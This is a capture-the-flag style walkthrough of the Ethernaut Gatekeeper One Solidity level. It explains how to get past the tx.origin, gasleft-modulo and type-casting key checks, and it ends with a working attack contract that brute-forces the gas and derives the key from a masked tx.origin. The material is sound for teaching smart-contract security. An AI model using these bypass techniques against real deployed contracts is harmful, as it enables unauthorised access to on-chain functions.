I will explain the challenge in a slightly different way this time, usually, we start with some background information, look at the code, and then write a solution.
This challenge is different as there are three mini-challenges mixed in, so we will have to tackle them one by one.
There are three gates, and we have to pass the gates to clear the level.
Objective: Make it past the gatekeeper and register as an entrant to pass this level.
Gate 1
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
We have looked at the concept of tx.origin
in a previous challenge Telephone. Refer to that challenge to understand the concept behind tx.origin
.
Basically, to pass this modifier, we must create an intermediary contract and that contract should interact with the GatekeeperOne contract.
Hence, The intermediary contract == msg.sender
and our address == tx.origin
. Thus, passing the condition.
Gate 2
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
gasleft()
is an in-built function and as its name suggests, tells us the remaining gas left after the contract call.
The modifier here means that the gas left should yield a remainder 0 when divided by 8191, that is the gas left should be a multiple of 8191. To solve this we must send the exact amount of gas "required to execute all the contract code + enough that it's divisible by 8191"
There are two ways to solve the issue, the barbarian way would be to translate all the solidity code in EVM opcodes, and calculate the gas which further depends on the compiler version you are using, etc. It's safe to say that we are not using this method.
The second, more smarter way would be to brute-force the function, incrementing gas using a loop until we hit the sweet spot.
Gate 3
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
To pass this gate, we need to understand type conversions, downcasting, upcasting, and bitmasking.
Upcasting: When we convert a smaller data type into a larger data type. There is no data loss and the extra space is padded with 0s. Integers are padded on the left whereas fixed-size byte types are padded on right. Refer this
uint16 a = 0x1234; uint32 b = uint32(a); // b will be 0x00001234 now
bytes2 a = 0x1234; bytes4 b = bytes4(a); // b will be 0x12340000
Downcasting: When we convert a bigger datatype into a smaller datatype. This is problematic since we will have data loss. In integers, higher-order bits will get cut and in fixed-sized bytes types lower order will get cut.
uint32 a = 0x12345678; uint16 b = uint16(a); // b will be 0x5678 now
bytes2 a = 0x1234; bytes1 b = bytes1(a); // b will be 0x12
Bitmasking: This is the act of applying a "mask" to a value. Basically using some bitwise operators like
AND
OR
orXOR
to mask or choose which subset you would want and which you want to clear.We will be using the
AND
operator in this challenge. Read moreNote: Bitwise Operators should not be confused with Logical Operators.
Since we got the background down, let's look at Gate 3, and see how we can pass that. The gateThree
modifier takes an 8-byte input. Let's assume that to be 0x A1 A2 A3 A4 A5 A6 A7 A8
Note: uintX
or the number after uint
i.e. X is in bits and not bytes, so divide that by 8 for understanding.
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) //this condition states that //0x A5 A6 A7 A8 == 0x 00 00 A7 A8 //which basically means that A5 A6 must be zeroes.
require(uint32(uint64(_gateKey)) != uint64(_gateKey)) //this condition states that //0x 00 00 00 00 A5 A6 A7 A8 != 0x A1 A2 A3 A4 A5 A6 A7 A8 //which basically means that, A1 A2 A3 A4 cannot be zeroes.
require(uint32(uint64(_gateKey)) == uint16(tx.origin)) //this condition states that //0x A5 A6 A7 A8 == 0x 00 00 (bytes from tx.origin) //which basically means that A7 and A8 must be the last two bytes of tx.origin.
All of this summarized means this: 0x NZ NZ NZ NZ 00 00 TX TX
, where
NZ == any non-zero data
TX = tx.origin data
since we only need to make sure that A5 and A6 are zeroes, we can add an AND
bitwise operator on tx.origin
to generate the required key.
bytes8(uint64(tx.origin) & 0xFFFFFFFF0000FFFF
//adding bytes8 to convert it to required format.
//using the & bitwise operator as a mask, A5 and A6 in tx.origin will turn to zero and rest everything else will remain the same.
We are pretty much done with the explanation, let's check the solution.
Solution
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
contract TheMasterKey{
//gate 1 is automatically passed, since we are using another contract to interact with Gatekeeper One.
function attack(address _GateKeeper) external { //function that takes the Gatekeeper Contract Address
bytes8 gatekey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF); //to bypass gate3.
for(uint256 i=0; i<300; i++) { //creates a for loop
uint256 totalGas = i + (8191 * 4); //total gas == gas spent + gas required for gate 2.
(bool result, ) = _GateKeeper.call{gas: totalGas}(abi.encodeWithSignature("enter(bytes8)", gatekey)); //low level call, using .enter will cause it to revert.
if (result) { //stops the loop when we succeed.
break;
}
}
}
}
Open up your Remix IDE and Compile and Deploy this.
Add your level instance as
_Gatekeeper
Check if the
entrant
is you
Submit Instance⛩️